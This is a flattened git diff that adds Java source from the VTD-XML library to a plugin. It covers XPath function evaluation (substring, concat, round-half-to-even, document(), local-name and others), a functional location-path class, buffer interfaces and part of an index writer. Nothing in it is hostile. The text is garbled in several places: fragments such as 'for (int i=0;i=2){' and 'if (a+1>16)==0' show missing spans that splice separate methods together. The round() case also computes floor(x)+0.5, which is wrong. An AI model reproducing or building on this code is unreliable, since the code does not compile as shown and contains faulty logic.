(int) d1 - 1); + if ((d1 + d2) != (d1 + d2) || d1 > s.length()) + return ""; + return s.substring(Math.max(0, (int) d1 - 1), Math.min(s.length(), + (int) (d1 - 1) + (int) d2)); + //(int) argumentList.next.next.e.evalNumber(vn)-1); + + } + throw new IllegalArgumentException + ("substring()'s argument count is invalid"); + } + private String subStringBefore(VTDNav vn){ + if (argCount==2){ + String s1 = argumentList.e.evalString(vn); + String s2 = argumentList.next.e.evalString(vn); + int len1 = s1.length(); + int len2 = s2.length(); + for (int i=0;i=2){ + Alist temp = argumentList; + while(temp!=null){ + sb.append(temp.e.evalString(vn)); + temp = temp.next; + } + return sb.toString(); + //} else + // throw new IllegalArgumentException + //("concat()'s argument count is invalid"); + } + + private String getString(VTDNav vn){ + if (argCount== 0) + try{ + if (vn.atTerminal){ + if (vn.getTokenType(vn.LN) == VTDNav.TOKEN_CDATA_VAL ) + return vn.toRawString(vn.LN); + return vn.toString(vn.LN); + } + return vn.getXPathStringVal(); + } + catch(NavException e){ + return ""; // this will almost never occur + } + else if (argCount == 1){ + return argumentList.e.evalString(vn); + } else + throw new IllegalArgumentException + ("String()'s argument count is invalid"); + } + + final public String evalString(VTDNav vn) throws UnsupportedException{ + // int d=0; + switch(opCode){ + case FuncName.CONCAT: + return concat(vn); + //throw new UnsupportedException("Some functions are not supported"); + + case FuncName.LOCAL_NAME: + return getLocalName(vn); + + case FuncName.NAMESPACE_URI: + return getNameSpaceURI(vn); + + case FuncName.NAME: + return getName(vn); + + case FuncName.STRING: + return getString(vn); + + case FuncName.SUBSTRING_BEFORE: return subStringBefore(vn); + case FuncName.SUBSTRING_AFTER: return subStringAfter(vn); + case FuncName.SUBSTRING: return subString(vn); + case FuncName.TRANSLATE: return translate(vn); + case FuncName.NORMALIZE_SPACE: return normalizeSpace(vn); + case FuncName.CODE_POINTS_TO_STRING: throw new com.ximpleware.xpath.UnsupportedException("not yet implemented"); + case FuncName.UPPER_CASE: return upperCase(vn); + case FuncName.LOWER_CASE: return lowerCase(vn); + case FuncName.QNAME: + case FuncName.LOCAL_NAME_FROM_QNAME: + case FuncName.NAMESPACE_URI_FROM_QNAME: + case FuncName.NAMESPACE_URI_FOR_PREFIX: + case FuncName.RESOLVE_QNAME: + case FuncName.IRI_TO_URI: + case FuncName.ESCAPE_HTML_URI: + case FuncName.ENCODE_FOR_URI: + throw new com.ximpleware.xpath.UnsupportedException("not yet implemented"); + case FuncName.GENERATE_ID: return generateID(vn); + case FuncName.FORMAT_NUMBER: return formatNumber(vn); + case FuncName.SYSTEM_PROPERTY: return getSystemProperty(vn); + default: if (isBoolean()){ + if (evalBoolean(vn)== true) + return "true"; + else + return "false"; + } else { + double tmp = evalNumber(vn); + if (tmp - ((int)tmp) ==0 ) + return ""+ (int)tmp; + else + return ""+ tmp; + } + } + } + + + final public double evalNumber(VTDNav vn){ + int ac = 0; + switch(opCode){ + case FuncName.LAST: /*if (argCount!=0 ) + throw new IllegalArgumentException + ("floor()'s argument count is invalid");*/ + return contextSize; + case FuncName.POSITION: /* if (argCount!=0 ) + throw new IllegalArgumentException + ("position()'s argument count is invalid");*/ + return position; + case FuncName.COUNT: return count(vn); + case FuncName.NUMBER: /*if (argCount!=1) + throw new IllegalArgumentException + ("number()'s argument count is invalid");*/ + return argumentList.e.evalNumber(vn); + + case FuncName.SUM: return sum(vn); + case FuncName.FLOOR: /*if (argCount!=1 ) + throw new IllegalArgumentException("floor ()'s argument count is invalid");*/ + return Math.floor(argumentList.e.evalNumber(vn)); + + case FuncName.CEILING: /*if (argCount!=1 ) + throw new IllegalArgumentException("ceiling()'s argument count is invalid");*/ + return Math.ceil(argumentList.e.evalNumber(vn)); + + case FuncName.STRING_LENGTH: + ac = argCount; + if (ac == 0){ + try{ + if (vn.atTerminal == true){ + int type = vn.getTokenType(vn.LN); + if (type == VTDNav.TOKEN_ATTR_NAME + || type == VTDNav.TOKEN_ATTR_NS){ + return vn.getStringLength(vn.LN+1); + } else { + return vn.getStringLength(vn.LN); + } + }else { + int i = vn.getText(); + if (i==-1) + return 0; + else + return vn.getStringLength(i); + } + }catch (NavException e){ + return 0; + } + } else if (ac == 1){ + return argumentList.e.evalString(vn).length(); + } else { + throw new IllegalArgumentException("string-length()'s argument count is invalid"); + } + + case FuncName.ROUND: /*if (argCount!=1 ) + throw new IllegalArgumentException("round()'s argument count is invalid");*/ + return Math.floor(argumentList.e.evalNumber(vn))+0.5d; + + case FuncName.ABS: /*if (argCount!=1 ) + throw new IllegalArgumentException("abs()'s argument count is invalid");*/ + return Math.abs(argumentList.e.evalNumber(vn)); + case FuncName.ROUND_HALF_TO_EVEN : return roundHalfToEven(vn); + case FuncName.ROUND_HALF_TO_ODD: + throw new com.ximpleware.xpath.UnsupportedException("not yet implemented"); + + default: if (isBoolean){ + if (evalBoolean(vn)) + return 1; + else + return 0; + }else { + try { + double dval = Double.parseDouble(evalString(vn)); + return dval; + }catch (NumberFormatException e){ + return Double.NaN; + } + } + } + } + + private double roundHalfToEven(VTDNav vn) { + //int numArg = argCount; + if (argCount < 1 || argCount > 2){ + throw new IllegalArgumentException("Argument count for roundHalfToEven() is invalid. Expected: 1 or 2; Actual: " + argCount); + } + double value = argumentList.e.evalNumber(vn); + long precision = (argCount == 2)? (long)Math.floor(argumentList.next.e.evalNumber(vn)+0.5d) : 0; + + if(value < 0) return -roundHalfToEvenPositive(-value, precision); + else return roundHalfToEvenPositive(value, precision); + } + + private double roundHalfToEvenPositive(double value, long precision){ + final double ROUNDING_EPSILON = 0.00000001; + long dec = 1; + + //shif the decimal point by precision + long absPre = Math.abs(precision); + + for(int i = 0; i < absPre; i++){ + dec *= 10; + } + + if(precision > 0) value *= dec; + else if (precision < 0)value /= dec; + + double result = 0; + long intPart = (long)value; + + //'value' is exctly halfway between two integers + if(Math.abs(value -(intPart +0.5d)) < ROUNDING_EPSILON){ + // 'ipart' is even + if(intPart%2 == 0){ + result = intPart; + }else{// nearest even integer + result = (long)Math.ceil( intPart + 0.5d ); + } + }else{ + //use the usual round to closest + result = Math.round(value); + } + + //shif the decimal point back to where it was + if(precision > 0) result /= dec; + else if(precision < 0) result *= dec; + + return result; + } + + /** + * + */ + final public int evalNodeSet(VTDNav vn) throws XPathEvalException { + switch (opCode) { + case FuncName.CURRENT: + if (state == START) { + vn.loadCurrentNode(); + state = END; + return vn.getCurrentIndex2(); + } else { + return -1; + } + // break; + case FuncName.DOCUMENT: + if (argCount == 1) { + if (!argumentList.e.isNodeSet()) { + if (state == START) { + String s = argumentList.e.evalString(vn); + if (s.length() == 0) { + newVN = xslVN; + newVN.context[0] = -1; + } else if (vg.parseFile(s, true)) { + newVN = vg.getNav(); + newVN.context[0] = -1; + newVN.URIName = s; + } else { + state = END; + return -1; + } + state = END; + return 0; + } else { + return -1; + } + } else { + try { + if (state != END) { + a = argumentList.e.evalNodeSet(vn); + if (a != -1) { + String s = vn.toString(getStringVal(vn,a)); + if (s.length() == 0) { + newVN = xslVN; + newVN.context[0] = -1; + } else if (vg.parseFile(s, true)) { + newVN = vg.getNav(); + newVN.context[0] = -1; + newVN.URIName = s; + } else { + state = END; + return -1; + } + state = END; + return 0; + } else { + state = END; + return -1; + } + } else + return -1; + } catch (NavException e) { + + } + } + } + + break; + case FuncName.KEY: + throw new XPathEvalException(" key() not yet implemented "); + // break; + } + throw new XPathEvalException(" Function Expr can't eval to node set "); + } + + private int getStringVal(VTDNav vn,int i){ + int i1,t = vn.getTokenType(i); + if (t == VTDNav.TOKEN_STARTING_TAG){ + i1 = vn.getText(); + return i1; + } + else if (t == VTDNav.TOKEN_ATTR_NAME + || t == VTDNav.TOKEN_ATTR_NS || t==VTDNav.TOKEN_PI_NAME ) + return i+1; + else + return i; + } + + final public boolean evalBoolean(VTDNav vn){ + switch(opCode){ + case FuncName.STARTS_WITH: + //if (argCount!=2){ + // throw new IllegalArgumentException("starts-with()'s argument count is invalid"); + //} + return startsWith(vn); + case FuncName.CONTAINS: + /*if (argCount!=2){ + throw new IllegalArgumentException("contains()'s argument count is invalid"); + }*/ + return contains(vn); + case FuncName.TRUE: /*if (argCount!=0){ + throw new IllegalArgumentException("true() doesn't take any argument"); + }*/ + return true; + case FuncName.FALSE:/*if (argCount!=0){ + throw new IllegalArgumentException("false() doesn't take any argument"); + }*/ + return false; + case FuncName.BOOLEAN: /*if (argCount!=1){ + throw new IllegalArgumentException("boolean() doesn't take any argument"); + }*/ + return argumentList.e.evalBoolean(vn); + case FuncName.NOT: /*if (argCount!=1){ + throw new IllegalArgumentException("not() doesn't take any argument"); + }*/ + return !argumentList.e.evalBoolean(vn); + case FuncName.LANG: + /*if (argCount!=1){ + throw new IllegalArgumentException("lang()'s argument count is invalid"); + }*/ + return lang(vn,argumentList.e.evalString(vn)); + + case FuncName.COMPARE:throw new com.ximpleware.xpath.UnsupportedException("not yet implemented"); + case FuncName.ENDS_WITH: + /*if (argCount!=2){ + throw new IllegalArgumentException("ends-with()'s argument count is invalid"); + }*/ + return endsWith(vn); + + case FuncName.MATCH_NAME:return matchName(vn); + case FuncName.MATCH_LOCAL_NAME: return matchLocalName(vn); + case FuncName.NOT_MATCH_NAME:return !matchName(vn); + case FuncName.NOT_MATCH_LOCAL_NAME: return !matchLocalName(vn); + case FuncName.ELEMENT_AVAILABLE: return isElementAvailable(vn); + case FuncName.FUNCTION_AVAILABLE: return isFunctionAvailable(vn); + + default: if (isNumerical()){ + double d = evalNumber(vn); + if (d==0 || d!=d) + return false; + return true; + }else{ + return evalString(vn).length()!=0; + } + } + } + + final public void reset(VTDNav vn){ + a = 0; + state = START; + //contextSize = 0; + if (argumentList!=null) + argumentList.reset(vn); + } + + public String fname(){ + switch(opCode){ + case FuncName.LAST: return "last"; + case FuncName.POSITION: return "position"; + case FuncName.COUNT: return "count"; + case FuncName.LOCAL_NAME: return "local-name"; + case FuncName.NAMESPACE_URI: return "namespace-uri"; + case FuncName.NAME: return "name"; + case FuncName.STRING: return "string"; + case FuncName.CONCAT: return "concat"; + case FuncName.STARTS_WITH: return "starts-with"; + case FuncName.CONTAINS: return "contains"; + case FuncName.SUBSTRING_BEFORE: return "substring-before"; + case FuncName.SUBSTRING_AFTER: return "substring-after"; + case FuncName.SUBSTRING: return "substring"; + case FuncName.STRING_LENGTH: return "string-length"; + case FuncName.NORMALIZE_SPACE: return "normalize-space"; + case FuncName.TRANSLATE: return "translate"; + case FuncName.BOOLEAN: return "boolean"; + case FuncName.NOT: return "not"; + case FuncName.TRUE: return "true"; + case FuncName.FALSE: return "false"; + case FuncName.LANG: return "lang"; + case FuncName.NUMBER: return "number"; + case FuncName.SUM: return "sum"; + case FuncName.FLOOR: return "floor"; + case FuncName.CEILING: return "ceiling"; + case FuncName.ROUND: return "round"; +// added for 2.0 + case FuncName.ABS: return "abs"; + case FuncName.ROUND_HALF_TO_EVEN : + return "round-half-to-even"; + case FuncName.ROUND_HALF_TO_ODD: + return "round-half-to-odd"; + case FuncName.CODE_POINTS_TO_STRING: + return "code-points-to-string"; + case FuncName.COMPARE: return "compare"; + case FuncName.UPPER_CASE: return "upper-case"; + case FuncName.LOWER_CASE: return "lower-case"; + case FuncName.ENDS_WITH: return "ends-with"; + case FuncName.QNAME: return "QName"; + case FuncName.LOCAL_NAME_FROM_QNAME: + return "local-name-from-QName"; + case FuncName.NAMESPACE_URI_FROM_QNAME: + return "namespace-uri-from-QName"; + case FuncName.NAMESPACE_URI_FOR_PREFIX: + return "namespace-uri-for-prefix"; + case FuncName.RESOLVE_QNAME: return "resolve-QName"; + case FuncName.IRI_TO_URI: return "iri-to-uri"; + case FuncName.ESCAPE_HTML_URI: return "escape-html-uri"; + case FuncName.ENCODE_FOR_URI: return "encode-for-uri"; + case FuncName.MATCH_NAME: return "match-name"; + case FuncName.MATCH_LOCAL_NAME: return "match-local-name"; + case FuncName.CURRENT: return "current"; + case FuncName.GENERATE_ID: return "generate-id"; + case FuncName.FORMAT_NUMBER: return "format-number"; + case FuncName.KEY: return "key"; + default: + return "document"; + + } + } + final public boolean isNodeSet(){ + return isNodeSet; + } + + final public boolean isNumerical(){ + return isNumerical; + } + + final public boolean isString(){ + return isString; + } + + final public boolean isBoolean(){ + return isBoolean; + } + + private int count(VTDNav vn){ + int a = -1; + // if (argCount!=1 || argumentList.e.isNodeSet()==false) + // throw new IllegalArgumentException + // ("Count()'s argument count is invalid"); + vn.push2(); + int size= vn.contextStack2.size ; + try{ + a = 0; + argumentList.e.adjust(vn.getTokenCount()); + while(argumentList.e.evalNodeSet(vn)!=-1){ + //System.out.println(" ===>"+vn.getCurrentIndex()); + a ++; + } + }catch(Exception e){ + System.out.println("exception in count"); + } + argumentList.e.reset(vn); + vn.contextStack2.size = size; + vn.pop2(); + return a; + } + + private double sum(VTDNav vn){ + double d=0; + /*if (argCount != 1 || argumentList.e.isNodeSet() == false) + throw new IllegalArgumentException("sum()'s argument count or type is invalid");*/ + vn.push2(); + int size = vn.contextStack2.size; + try { + a = 0; + int i1; + while ((a =argumentList.e.evalNodeSet(vn)) != -1) { + int t = vn.getTokenType(a); + if (t == VTDNav.TOKEN_STARTING_TAG){ + i1 = vn.getText(); + if (i1!=-1) + d += vn.parseDouble(i1); + if (Double.isNaN(d)) + break; + } + else if (t == VTDNav.TOKEN_ATTR_NAME + || t == VTDNav.TOKEN_ATTR_NS){ + d += vn.parseDouble(a+1); + if (Double.isNaN(d)) + break; + } + else if (t == VTDNav.TOKEN_CHARACTER_DATA + || t == VTDNav.TOKEN_CDATA_VAL || t== VTDNav.TOKEN_COMMENT){ + d += vn.parseDouble(a); + if (Double.isNaN(d)) + break; + } else if (t==VTDNav.TOKEN_PI_NAME){ + if (a+1>16)==0){ + return (vn.compareRawTokenString(index, s1)==0);//vn.toRawString(index); + } + else { + int preLen = length >> 16; + int QLen = length & 0xffff; + if (preLen != 0){ + return (vn.compareRawTokenString(offset + preLen+1, QLen + - preLen - 1,s1)==0); + } + } + } else if (type == VTDNav.TOKEN_PI_NAME){ + return vn.compareRawTokenString(index, s1)==0; + } else + return "".equals(s1); + }catch(NavException e){ + return false; // this will never occur + } + + } else if (argCount == 2){ + int a=evalFirstArgumentListNodeSet2(vn); + String s1 = argumentList.next.e.evalString(vn); + if (a == -1 || vn.ns == false) + return "".equals(s1); + int type = vn.getTokenType(a); + if (type==VTDNav.TOKEN_STARTING_TAG || type== VTDNav.TOKEN_ATTR_NAME){ + //return "".equals(s1); + try { + int offset = vn.getTokenOffset(a); + int length = vn.getTokenLength(a); + if (length < 0x10000 || (length>> 16)==0) + return vn.compareRawTokenString(a,s1)==0; + else { + int preLen = length >> 16; + int QLen = length & 0xffff; + if (preLen != 0) + return vn.compareRawTokenString(offset + preLen+1, + QLen - preLen - 1,s1)==0; + /*else { + return vn.toRawString(offset, QLen); + }*/ + } + } catch (NavException e) { + return "".equals(s1); // this will almost never occur + } + }else if (type == VTDNav.TOKEN_PI_NAME){ + try{ + return vn.compareRawTokenString(a,s1)==0; + }catch(NavException e){ + return "".equals(s1); + } + } + return "".equals(s1); + } else + throw new IllegalArgumentException + ("local-name()'s argument count is invalid"); + return false; + } + + /** + * generate-id(nodeset?); + * @param vn + * @return + */ + private String generateID(VTDNav vn){ + if (argCount== 0){ + return "v"+vn.getCurrentIndex2(); + }else if (argCount== 1) { + int i=evalFirstArgumentListNodeSet2(vn); + return "v"+i; + } else + throw new IllegalArgumentException + ("generate-id()'s argument count is invalid"); + + } + + public boolean isFinal(){ + Alist temp = argumentList; + if (temp ==null) + return false; + if (temp.e==null) + return false; + boolean s=true; + while(temp!=null){ + s= s && temp.e.isFinal(); + if (!s) + return false; + temp = temp.next; + } + return s; + } + + public void markCacheable2(){ + Alist temp =argumentList; + while(temp!=null ){ + if (temp.e!=null){ + if (temp.e.isFinal() && temp.e.isNodeSet()){ + CachedExpr ce = new CachedExpr(temp.e); + temp.e = ce; + } + temp.e.markCacheable2(); + } + temp = temp.next; + } + } + + public void markCacheable(){ + Alist temp =argumentList; + while(temp!=null){ + if (temp.e!=null) + temp.e.markCacheable(); + temp = temp.next; + } + } + + public void clearCache(){ + Alist temp =argumentList; + while(temp!=null ){ + if (temp.e!=null){ + temp.e.clearCache(); + } + temp = temp.next; + } + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/FunctionalLocationPathExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/FunctionalLocationPathExpr.java new file mode 100644 index 0000000..19e77cb --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/FunctionalLocationPathExpr.java @@ -0,0 +1,117 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +import com.ximpleware.xpath.AxisType; +import com.ximpleware.xpath.FuncName; +import com.ximpleware.xpath.Predicate; +import com.ximpleware.xpath.Step; + +public class FunctionalLocationPathExpr extends LocationPathExpr { + public static final int FUNC_PATH=2; + FuncExpr fne; + public FunctionalLocationPathExpr(FuncExpr fne1){ + state = START; + s = null; + pathType = FUNC_PATH; + currentStep = null; + fne = fne1; + //fib = new FastIntBuffer(8);// page size 256 = 2^ 8 + ih = new intHash(); + } + public String toString(){ + String st = ""; + Step ts = s; + st = st + fne; + if (ts == null) + return st; + else + return st + '/'+ ts; + } + + public int evalNodeSet(VTDNav vn) + throws NavException,XPathEvalException{ + int result; + if (currentStep == null) { + if (fne.opCode == FuncName.CURRENT) { + vn.loadCurrentNode(); + } + currentStep = s; + if (currentStep == null) { + if (state == START) { + state = END; + return vn.getCurrentIndex2(); + } else { + return -1; + } + } + } + + while (true) { + switch (currentStep.axis_type) { + + case AxisType.CHILD: + if ( (result = process_child(vn))!=-2) + return result; + break; + case AxisType.DESCENDANT_OR_SELF: + case AxisType.DESCENDANT: + case AxisType.PRECEDING: + case AxisType.FOLLOWING: + if ((result = process_DDFP(vn))!= -2) + return result; + break; + case AxisType.PARENT: + if ((result = process_parent(vn))!= -2) + return result; + break; + case AxisType.ANCESTOR: + if ((result = process_ancestor(vn))!= -2) + return result; + break; + case AxisType.ANCESTOR_OR_SELF: + if ((result = process_ancestor_or_self(vn))!= -2) + return result; + break; + case AxisType.SELF: + if ((result = process_self(vn))!= -2) + return result; + break; + case AxisType.FOLLOWING_SIBLING: + if ((result = process_following_sibling(vn))!= -2) + return result; + break; + case AxisType.PRECEDING_SIBLING: + if ((result = process_preceding_sibling(vn))!= -2) + return result; + break; + case AxisType.ATTRIBUTE: + if ((result = process_attribute(vn))!= -2) + return result; + break; + default: + if ((result = process_namespace(vn))!= -2) + return result; + } + } + + } + + + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/IByteBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/IByteBuffer.java new file mode 100644 index 0000000..a66795d --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/IByteBuffer.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * Abstract XML document storage interface. + */ +public interface IByteBuffer { + + /** + * Get the byte at the given index of the underlying byte storage. + * @return byte + */ + byte byteAt(int index); + /** + * Return a byte array filled with content from underlying byte storage. + * @return byte[] + * @param offset int bytes offset (not UTF char unit) + * @param len int + */ + byte[] getBytes(int offset, int len); + /** + * Total size in terms of # of bytes. + * @return int + */ + int length(); + // get the whole XML + byte[] getBytes(); +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/IIntBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/IIntBuffer.java new file mode 100644 index 0000000..ce4096e --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/IIntBuffer.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * Abstract int buffer storage interface. + * Creation date: (11/23/03 6:14:40 PM) + */ +public interface IIntBuffer { +/** + * Get the int at the index value. + * Creation date: (11/23/03 6:15:33 PM) + * @param i int + */ +int intAt(int i); +/** + * Modify the int at index to value val. + * Creation date: (11/23/03 6:16:56 PM) + * @param index int + * @param val int + */ +void modifyEntry(int index, int val); +/** + * Get the total number of int in the buffer. + * Creation date: (11/23/03 7:21:25 PM) + * @return int + */ +int size(); +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/ILongBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/ILongBuffer.java new file mode 100644 index 0000000..4ab32f1 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/ILongBuffer.java @@ -0,0 +1,58 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * Abstract long buffer storage interface + * Creation date: (11/23/03 6:13:38 PM) + */ +public interface ILongBuffer { +/** + * Get the long at the given index. + * Creation date: (11/23/03 6:29:53 PM) + * @return long + * @param index int + */ +long longAt(int index); +/** + * Get the lower 32 bit of the long at given index. + * Creation date: (11/23/03 6:45:27 PM) + * @return int + * @param index int + */ +int lower32At(int index); +/** + * Modify the entry at given index with a new val. + * Creation date: (11/23/03 6:42:57 PM) + * @param index int + * @param newVal long + */ +void modifyEntry(int index, long newVal); +/** + * Get the number of long in the buffer. + * Creation date: (11/23/03 7:22:25 PM) + * @return int + */ +int size(); +/** + * Get the upper 32 bit of the long at the given index. + * Creation date: (11/23/03 6:45:27 PM) + * @return int + * @param index int + */ +int upper32At(int index); +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/IObjectBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/IObjectBuffer.java new file mode 100644 index 0000000..75f1291 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/IObjectBuffer.java @@ -0,0 +1,36 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +/** + * Abstract object pointer storage interface + */ +interface IObjectBuffer { + Object objectAt(int i); + /** + * Modify the Object pointer at index to value val. * + * @param index int + * @param obj Object + */ + void modifyEntry(int index, Object obj); + /** + * Get the total number of Object pointer in the buffer. + * @return int + */ + int size(); +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/IReader.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/IReader.java new file mode 100644 index 0000000..cd90418 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/IReader.java @@ -0,0 +1,47 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * Abstract Reader Class decodes underlying raw bytes. + * Creation date: (3/5/04 7:18:57 PM) + */ +interface IReader { + /** + * Get next available Char from the buffer. + * Creation date: (3/5/04 7:39:44 PM) + * @return boolean + * @exception com.ximpleware.ParseException Parse exception. + * @exception com.ximpleware.EncodingException Raw char to UCS conversion exception. + * @exception com.ximpleware.EOFException The end of file exception. + */ + int getChar() throws EOFException, ParseException, EncodingException; + /** + * Skip the next char if it is a match. + * Creation date: (3/5/04 7:39:44 PM) + * @return boolean + * @exception com.ximpleware.ParseException Parse exception. + * @exception com.ximpleware.EncodingException Raw char to UCS conversion exception. + * @exception com.ximpleware.EOFException The end of file exception. + */ + boolean skipChar(int ch) + throws ParseException, EncodingException, EOFException; + + char decode(int ch); + + long _getChar(int byte_offset); +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/IndexHandler.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/IndexHandler.java new file mode 100644 index 0000000..2215a1e --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/IndexHandler.java @@ -0,0 +1,1190 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +import java.io.*; +import java.nio.*; +/** + * IndexWrite adjusts the offset so that the XML segment + * contains only the XML document + * IndexRead, if from byte array, will move adjust the offset + * + */ +class IndexHandler { + public static final int OFFSET_ADJUSTMENT =32; + + /** + * Write VTD+XML index to OutputStream + * @param version + * @param encodingType + * @param ns + * @param byteOrder + * @param nestDepth + * @param LCLevel + * @param rootIndex + * @param xmlDoc + * @param docOffset + * @param docLen + * @param vtdBuffer + * @param l1Buffer + * @param l2Buffer + * @param l3Buffer + * @param os + * @throws IndexWriteException + * @throws IOException + * + */ + public static void writeIndex_L3(byte version, + int encodingType, + boolean ns, + boolean byteOrder, // true is big endien + int nestDepth, + int LCLevel, + int rootIndex, + byte[] xmlDoc, + int docOffset, + int docLen, + FastLongBuffer vtdBuffer, + FastLongBuffer l1Buffer, + FastLongBuffer l2Buffer, + FastIntBuffer l3Buffer, + OutputStream os + ) throws IndexWriteException, + IOException{ + if ( xmlDoc == null + || docLen <=0 + || vtdBuffer == null + // impossible to occur + || l1Buffer == null // setDoc not called + || l2Buffer == null + || l3Buffer == null + || LCLevel !=3 + ){ + throw new IndexWriteException("Invalid VTD index "); + } + if (vtdBuffer.size()==0) + throw new IndexWriteException("VTDBuffer can't be zero length"); + + int i; + DataOutputStream dos = new DataOutputStream(os); + // first 4 bytes + byte[] ba = new byte[4]; + ba[0] = (byte)version; // version # is 2 + ba[1] = (byte)encodingType; + ba[2] = (byte)(ns? 0xe0 : 0xa0); // big endien + ba[3] = (byte)nestDepth; + dos.write(ba); + // second 4 bytes + ba[0] = 0; + ba[1] = 4; + ba[2] = (byte) ((rootIndex & 0xff00)>> 8 ); + ba[3] = (byte) (rootIndex & 0xff); + dos.write(ba); + // 2 reserved 64-bit words set to zero + ba[1]= ba[2] = ba[3] = 0; + dos.write(ba); + dos.write(ba); + dos.write(ba); + dos.write(ba); + // write XML doc in bytes + dos.writeLong(docLen); + dos.write(xmlDoc,docOffset,docLen); + // zero padding to make it integer multiple of 64 bits + if ((docLen & 0x07) !=0 ){ + int t = (((docLen>>3)+1)<<3) - docLen; + for (;t>0;t--) + dos.write(0); + } + // write VTD offset adjusted if the start offset is not zero + dos.writeLong(vtdBuffer.size); + if (docOffset == 0) + for (i = 0; i < vtdBuffer.size; i++) { + dos.writeLong(vtdBuffer.longAt(i)); + } + else + for (i = 0; i < vtdBuffer.size; i++) { + dos.writeLong(adjust(vtdBuffer.longAt(i), + -docOffset)); + } + + // write L1 + 